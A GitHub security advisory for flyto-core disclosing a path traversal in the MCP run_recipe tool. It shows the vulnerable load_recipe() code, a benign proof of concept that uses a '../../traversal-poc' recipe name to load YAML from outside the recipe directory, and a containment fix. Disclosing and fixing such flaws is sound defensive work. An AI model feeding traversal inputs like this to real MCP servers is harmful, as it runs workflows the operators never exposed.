Skip to main content
Menu
Advisories

Path traversal in MCP run_recipe allows execution of workflows outside bundled recipe directory

GHSA-MXCC-CR6X-2MVRPublished Updated GitHub

Description

run_recipe is intended to execute pre-built Flyto recipes by name from the bundled src/recipes directory. However, load_recipe() in src/cli/recipe.py concatenates unsanitized user-controlled recipe_name into a filesystem path: recipe_path = RECIPES_DIR / f"{recipe_name}.yaml" Because recipe_name is accepted from MCP run_recipe, an MCP caller can provide ../ path segments and cause Flyto to load a YAML workflow outside src/recipes.

Details

Affected Code: src/cli/recipe.py (line 66)

def load_recipe(recipe_name: str) -> Optional[Dict[str, Any]]:
    """Load a recipe YAML file by name."""
    recipe_path = RECIPES_DIR / f"{recipe_name}.yaml"
    if not recipe_path.exists():
        return None
    with open(recipe_path, 'r') as f:
        return yaml.safe_load(f)

MCP entry point: src/core/mcp_handler.py (line 984)

elif tool_name == "run_recipe":
    result = await run_recipe(
        recipe_name=arguments.get("recipe_name", ""),
        args=arguments.get("args", {}),
        browser_sessions=browser_sessions,
    )

Trust Boundary Evidence: The project documents recipes as pre-built templates from the recipes directory: Load and execute pre-built recipe templates from the recipes/ directory. list_recipes() only enumerates src/recipes/*.yaml, and MCP describes run_recipe as executing a pre-built recipe “by name” after calling list_recipes. Path traversal lets run_recipe execute workflows that list_recipes would never disclose.

PoC

From repo root, create a harmless workflow outside src/recipes:

cat > traversal-poc.yaml <<'YAML'
name: Traversal POC
description: Harmless proof that run_recipe can load outside src/recipes
steps: []
YAML

Confirm load_recipe() can escape the recipe directory:

python -c 'from cli.recipe import load_recipe; print(load_recipe("../../traversal-poc"))'

Expected vulnerable output: {'name': 'Traversal POC', 'description': 'Harmless proof that run_recipe can load outside src/recipes', 'steps': []} Validate through the MCP handler path:

python - <<'PY'
import asyncio
from core.mcp_handler import run_recipe

async def main():
    result = await run_recipe("../../traversal-poc", args={})
    print(result)

asyncio.run(main())
PY

Expected vulnerable behavior: the recipe is loaded and executed, rather than returning Recipe not found.

Impact

An MCP caller can bypass the intended bundled recipe boundary and execute arbitrary YAML workflows reachable on the server filesystem, subject to Flyto’s module policy. This is not necessarily full RCE by itself, because dangerous modules such as shell.* may be blocked by policy, but it still allows unintended execution of allowed workflow modules such as browser, HTTP/network, file, and data-processing modules.

Suggested Fix:

Validate recipe names and enforce resolved path containment:

import re

_RECIPE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]*$")

def load_recipe(recipe_name: str) -> Optional[Dict[str, Any]]:
    if not _RECIPE_NAME_RE.fullmatch(recipe_name):
        return None

    recipes_root = RECIPES_DIR.resolve()
    recipe_path = (recipes_root / f"{recipe_name}.yaml").resolve()

    if recipe_path.parent != recipes_root:
        return None

    if not recipe_path.exists():
        return None

    with open(recipe_path, "r", encoding="utf-8") as f:
        return yaml.safe_load(f)

Also add tests for ../, absolute paths, nested separators, and valid recipe names.

Affected versions

References

GitHub · flytohub/flyto-core